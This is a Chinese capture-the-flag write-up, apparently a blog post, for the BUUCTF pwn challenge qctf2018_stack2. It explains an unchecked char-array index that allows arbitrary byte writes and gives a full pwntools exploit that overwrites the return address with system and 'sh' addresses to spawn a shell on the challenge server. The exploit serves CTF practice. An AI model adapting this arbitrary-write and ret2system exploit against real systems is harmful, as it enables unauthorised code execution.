[BUUCTF-pwn]——qctf2018_stack2

[BUUCTF-pwn]——qctf2018_stack2

这道题注意一点v3的类型就好, 其他应该木有什么可以说的吧, 它是char*类型., 也就是每个我们赋值的v7只有低位的一个字节可以写进去
在这里插入图片描述
漏洞就在这里, 可以利用这里, 以v3为基准修改任意地址的数据.
在这里插入图片描述

还有一点需要注意的是偏移, 我最一开始写的时候, 想当然写成了0x40+4

主要原因是因为画圈的位置改变了esp, 懒得看汇编往上面找了直接动态调试.在这里插入图片描述

第一次执行该汇编的时候, eax就是我们开始输入的位置

在这里插入图片描述
在这里插入图片描述然后直接定位到retn看栈顶在这里插入图片描述在这里插入图片描述
在这里插入图片描述
找下sh位置
在这里插入图片描述

exploit


from pwn import*
p=remote('node3.buuoj.cn',26346)
p.sendlineafter("How many numbers you have:\n","1")
p.sendlineafter("Give me your numbers\n","1")
p.recvuntil("5. exit\n")
 
offset=0x84 
sys = 0x08048450
 
def write_addr(addr,num):
	p.sendline("3")
	p.sendlineafter("which number to change:\n",str(addr))
	p.sendlineafter("new number:\n",str(num))
	p.recvuntil("5. exit\n")

write_addr(offset,0X50)
write_addr(offset+1,0X84)
write_addr(offset+2,0X04)
write_addr(offset+3,0X08)
sh_addr =   0x08048987
offset+=8
write_addr(offset,0x87)
write_addr(offset+1,0X89)
write_addr(offset+2,0X04)
write_addr(offset+3,0X08)
 
p.sendline("5")
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值